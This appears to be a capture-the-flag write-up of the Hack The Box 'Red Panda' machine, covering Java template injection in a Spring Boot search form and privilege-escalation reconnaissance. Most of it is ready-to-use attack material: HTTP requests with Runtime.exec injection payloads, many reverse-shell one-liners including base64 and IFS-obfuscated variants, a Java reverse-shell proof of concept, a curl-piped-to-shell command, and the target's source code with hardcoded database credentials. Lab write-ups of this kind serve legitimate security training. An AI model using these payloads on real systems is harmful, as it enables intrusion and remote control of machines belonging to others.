HTB - Red Panda
Red Panda is a Spring Boot box where the first real foothold comes from recognizing a template injection path and choosing the right Java expression syntax. The exploit chain is a good reminder that payload syntax matters as much as the vulnerability class.
This writeup covers the service enumeration, the SSTI bypass, getting command execution through Java, and the later privilege escalation path.
Enumerating Services
| Service | State | Port | Version |
|---|---|---|---|
| ssh | open | 22 | OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| http-proxy | open | 8080 | Spring Boot? |
Spring Boot - HTTP Server
Checklist:
- SQL Injection
- Sensitive files exposure
- Command Injection
- Server Side Template Injection
Spring Boot - Exploitation Guides
Server Side Template Injection - JAVA
- https://github.com/VikasVarshney/ssti-payload
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection#java—basic-injection
Later on, we found that we could bypass the filtering of ${...} by using the variant *{...}
Multiple variable expressions can be used, if ${…} doesn’t work try #{…}, *{…}, @{…} or ~{…}.
I took away the lesson that sometimes the solution is right in front of us but we don’t stop to look for it.
Reverse Shell
IP = 10.10.14.154 PORT = 8081
Runtime.getRuntime().exec("/bin/bash -c 'exec 5<>/dev/tcp/10.10.14.154/8081;cat <&5 | while read line; do $line 2>&5 >&5; done'").waitFor();
some notes to take into account:
Not working
*{T(java.lang.Runtime).getRuntime().exec("/bin/bash -c 'exec 5<>/dev/tcp/10.10.14.154/8081;cat <&5 | while read line; do $line 2>&5 >&5; done'").waitFor()}UDP Shell
*{T(java.lang.Runtime).getRuntime().exec('sh -i >& /dev/udp/10.10.14.154/8081 0>&1')}TCP Shell
*{T(java.lang.Runtime).getRuntime().exec('bash -i >& /dev/tcp/10.10.14.154/4242 0>&1')}
Working Example
POST /search HTTP/1.1
Host: 10.10.11.170:8080
Content-Length: 94
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.170:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.11.170:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
name=*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl 10.10.14.154:4242")}
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Wed, 31 Aug 2022 00:31:59 GMT
Connection: close
Content-Length: 774
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Red Panda Search | Made with Spring Boot</title>
<link rel="stylesheet" href="css/search.css">
</head>
<body>
<form action="/search" method="POST">
<div class="wrap">
<div class="search">
<input type="text" name="name" placeholder="Search for a red panda">
<button type="submit" class="searchButton">
<i class="fa fa-search"></i>
</button>
</div>
</div>
</form>
<div class="wrapper">
<div class="results">
<h2 class="searched">You searched for: Process[pid=3651, exitValue="not exited"]</h2>
<h2>There are 0 results for your search</h2>
</div>
</div>
</body>
</html>
ATTACKER
$ nc -vv -l 4242
GET / HTTP/1.1
Host: 10.10.14.154:4242
User-Agent: curl/7.68.0
Accept: */*
exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/10.10.14.154/4242;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
r = Runtime
.getRuntime()
.exec(["echo -n 'ZXhlYyA1PD4vZGV2L3RjcC8xMC4xMC4xNC4yMzIvODA4MDtjYXQgPCY1IHwgd2hpbGUgcmVhZCBsaW5lOyBkbyAkbGluZSAyPiY1ID4mNTsgZG9uZQo=' | base64 -d | bash"] as String[])
.waitFor()
echo -n "ZXhlYyA1PD4vZGV2L3RjcC8xMjcuMC4wLjEvNDI0MjtjYXQgPCY1IHwgd2hpbGUgcmVhZCBsaW5lOyBkbyAgMj4mNSA+JjU7IGRvbmUK" | base64 -d | sh
TIPS
User:
- The page already gives you a hint on injection. While it may be a search bar, could it be another kind of injection? (A lot of people already said the answer in this discussion forum)
- There is a page to identify the backend. Just google it. Once you know the backend service, google for its cheatsheet.
- Before testing the cheatsheet, there is something to be added infront. There are two kinds of stuff. One produces a clean output while the other doesn’t. Choose the clean version and complex injection from the cheatsheet should work.
PE:
- Don’t use SSH to enter the machine. Use a reverse shell as it has more privilege. If you emulate for ways to PE, you will figure out why this is the case.
- Once you find interesting J, you will need knowledge of that language. Understand it to know what to do to exploit the J.
- Check out the J** output, what can you usually do if it is the web version? Same thing can be applied to this.
$ echo "\[+\] Popping Shell"
$ nc -e /bin/sh 127.0.0.1 4242
$ /bin/bash -c 'exec 5<>/dev/tcp/127.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'
Alternatives:
Method 1
Linux: bash -c {echo,BASE64(bash -i >& /dev/tcp/IP/PORT 0>&1)}|{base64,-d}|{bash,-i}
MAC: bash -c {echo,BASE64(bash -i >& /dev/tcp/IP/PORT 0>&1)}|{base64,-D}|{bash,-i}
Method 2
bash -c bash${IFS}-i${IFS}>&/dev/tcp/IP/PORT<&1
Method 3
bash -c $@|bash 0 echo bash -i >& /dev/tcp/IP/PORT 0>&1
References:
- https://github.com/welk1n/ReverseShell-Java
- https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
- https://mp.weixin.qq.com/s/pzpc44-xH932M4eCJ8LxYg
PoC - JAVA RCE
Victim
Working PoC, compiling vulnerable Java code:
// Victim Java RCE
class Main
{
public static void main(String args[]){
Thread thread = new Thread(){
public void run(){
// Reverse shell here
try {
//WORKING:
//Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/127.0.0.1/4242 0>&1").waitFor();
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDI0MiAwPiYx}|{base64,-D}|{bash,-i}");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
};
thread.start();
}
}
Build
javac Main.java
Run
java Main
Attacker
nc -vv -l 4242
Payload
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMzIvNDI0MiAwPiYx}|{base64,-D}|{bash,-i}")
User Flag
At first, I was puttering around and found that the pipe wasn’t working when I was sending a curl (the only command I was sure was working).
curl 10.10.14.232 (WORKING)
echo aaa | curl -d @- 10.10.14.232 (NOT WORKING)
This looked like the piping wasn’t working.
So I googled, how to make pipes work with runtime exec
Indeed, sending commands with Runtime.getRuntime().exec("cmd") ignored the piping.
Runtime.getRuntime().exec(new String[]{"bash", "-c", "cmd"})
So following this example, it worked.
*I had to urlencode the entire payload for it to work.
Working RCE Shell
POST /search HTTP/1.1
Host: 10.10.11.170:8080
Content-Length: 539
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.170:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.11.170:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
name=%2a%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%22%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%22%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%53%74%72%69%6e%67%5b%5d%7b%22%62%61%73%68%22%2c%22%2d%63%22%2c%22%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%79%4d%7a%49%76%4e%44%49%30%4d%69%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%7d%29%7d
Phase 2 - ROOT
woodenk@redpanda:~$ uname -a
uname -a
Linux redpanda 5.4.0-121-generic #137-Ubuntu SMP Wed Jun 15 13:33:07 UTC 2022 x86\_64 x86\_64 x86_64 GNU/Linux
woodenk@redpanda:~$ java --version
OpenJDK 64-Bit Server VM warning: Insufficient space for shared memory file:
41854
Try using the -Djava.io.tmpdir= option to select an alternate temp location.
openjdk 11.0.15 2022-04-19
OpenJDK Runtime Environment (build 11.0.15+10-Ubuntu-0ubuntu0.20.04.1)
OpenJDK 64-Bit Server VM (build 11.0.15+10-Ubuntu-0ubuntu0.20.04.1, mixed mode, sharing)
Utilizamos linpeas para Escalar privilegios https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh >> linpeas.sh
# Local network
sudo python -m SimpleHTTPServer 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim
Inspecting Server
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
package com.panda_search.htb.panda_search;
import java.util.ArrayList;
import java.io.IOException;
import java.sql.*;
import java.util.List;
import java.util.ArrayList;
import java.io.File;
import java.io.InputStream;
import java.io.FileInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.http.MediaType;
import org.apache.commons.io.IOUtils;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;
@Controller
public class MainController {
@GetMapping("/stats")
public ModelAndView stats(@RequestParam(name="author",required=false) String author, Model model) throws JDOMException, IOException{
SAXBuilder saxBuilder = new SAXBuilder();
if(author == null)
author = "N/A";
author = author.strip();
System.out.println('"' + author + '"');
if(author.equals("woodenk") || author.equals("damian"))
{
String path = "/credits/" + author + "_creds.xml";
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
String totalviews = rootElement.getChildText("totalviews");
List<Element> images = rootElement.getChildren("image");
for(Element image: images)
System.out.println(image.getChildText("uri"));
model.addAttribute("noAuthor", false);
model.addAttribute("author", author);
model.addAttribute("totalviews", totalviews);
model.addAttribute("images", images);
return new ModelAndView("stats.html");
}
else
{
model.addAttribute("noAuthor", true);
return new ModelAndView("stats.html");
}
}
@GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {
System.out.println("Exporting xml of: " + author);
if(author.equals("woodenk") || author.equals("damian"))
{
InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
System.out.println(in);
return IOUtils.toByteArray(in);
}
else
{
return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
}
}
@PostMapping("/search")
public ModelAndView search(@RequestParam("name") String name, Model model) {
if(name.isEmpty())
{
name = "Greg";
}
String query = filter(name);
ArrayList pandas = searchPanda(query);
System.out.println("\n\""+query+"\"\n");
model.addAttribute("query", query);
model.addAttribute("pandas", pandas);
model.addAttribute("n", pandas.size());
return new ModelAndView("search.html");
}
public String filter(String arg) {
String[] no_no_words = {"%", "_","$", "~", };
for (String word : no_no_words) {
if(arg.contains(word)){
return "Error occured: banned characters";
}
}
return arg;
}
public ArrayList searchPanda(String query) {
Connection conn = null;
PreparedStatement stmt = null;
ArrayList<ArrayList> pandas = new ArrayList();
try {
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
stmt.setString(1, "%" + query + "%");
ResultSet rs = stmt.executeQuery();
while(rs.next()){
ArrayList<String> panda = new ArrayList<String>();
panda.add(rs.getString("name"));
panda.add(rs.getString("bio"));
panda.add(rs.getString("imgloc"));
panda.add(rs.getString("author"));
pandas.add(panda);
}
}catch(Exception e){ System.out.println(e);}
return pandas;
}
}
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java
package com.panda_search.htb.panda_search;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedWriter;
import java.io.FileWriter;
import javax.servlet.http.HttpServletRequest;
import org.apache.catalina.User;
import org.springframework.web.servlet.ModelAndView;
public class RequestInterceptor extends HandlerInterceptorAdapter {
@Override
public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("interceptor#preHandle called. Thread: " + Thread.currentThread().getName());
return true;
}
@Override
public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
String UserAgent = request.getHeader("User-Agent");
String remoteAddr = request.getRemoteAddr();
String requestUri = request.getRequestURI();
Integer responseCode = response.getStatus();
/*System.out.println("User agent: " + UserAgent);
System.out.println("IP: " + remoteAddr);
System.out.println("Uri: " + requestUri);
System.out.println("Response code: " + responseCode.toString());*/
System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
BufferedWriter bw = new BufferedWriter(fw);
bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
bw.close();
}
}
Exploring Mysql
$ mysql -u woodenk -pRedPandazRule --verbose -e "SHOW DATABASES;"
--------------
SHOW DATABASES
--------------
Database
information_schema
red_panda
mysql -u woodenk -pRedPandazRule --verbose -e "SHOW PROCEDURE STATUS;"
mysql -u woodenk -pRedPandazRule --verbose -e "SHOW TRIGGERS;"
woodenk@redpanda:/credits$ mysql -u woodenk -pRedPandazRule --verbose -e "use red_panda;SHOW TRIGGERS;"
<azRule --verbose -e "use red_panda;SHOW TRIGGERS;"
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
SHOW TRIGGERS
--------------
woodenk@redpanda:/credits$ mysql -u woodenk -pRedPandazRule --verbose -e "use red_panda;SHOW TABLES;"
<ndazRule --verbose -e "use red_panda;SHOW TABLES;"
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
SHOW TABLES
--------------
Tables_in_red_panda
pandas
woodenk@redpanda:/credits$ mysql -u woodenk -pRedPandazRule --verbose -e "use red_panda;selec * from pandas;"
< --verbose -e "use red_panda;selec * from pandas;"
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
selec * from pandas
--------------
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'selec * from pandas' at line 1
woodenk@redpanda:/credits$ mysql -u woodenk -pRedPandazRule --verbose -e "use red_panda;select * from pandas;"
<--verbose -e "use red_panda;select * from pandas;"
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
select * from pandas
--------------
name bio imgloc author
Smooch Smooch likes giving kisses and hugs to everyone! img/smooch.jpg woodenk
Hungy Hungy is always hungry so he is eating all the bamboo in the world! img/hungy.jpg woodenk
Greg Greg is a hacker. Watch out for his injection attacks! img/greg.jpg woodenk
Mr Puffy Mr Puffy is the fluffiest red panda to have ever lived. img/mr_puffy.jpg damian
Florida Florida panda is the evil twin of Greg. Watch out for him! img/florida.jpg woodenk
Lazy Lazy is always very sleepy so he likes to lay around all day and do nothing. img/lazy.jpg woodenk
Shy Shy is as his name suggest very shy. But he likes to cuddle when he feels like it. img/shy.jpg damian
Smiley Smiley is always very happy. She loves to look at beautiful people like you ! img/smiley.jpg woodenk
Angy Angy is always very grumpy. He sticks out his tongue to everyone. img/angy.jpg damian
Peter Peter loves to climb. We think he was a spider in his previous life. img/peter.jpg damian
Crafty Crafty is always busy creating art. They will become a very famous red panda! img/crafty.jpg damian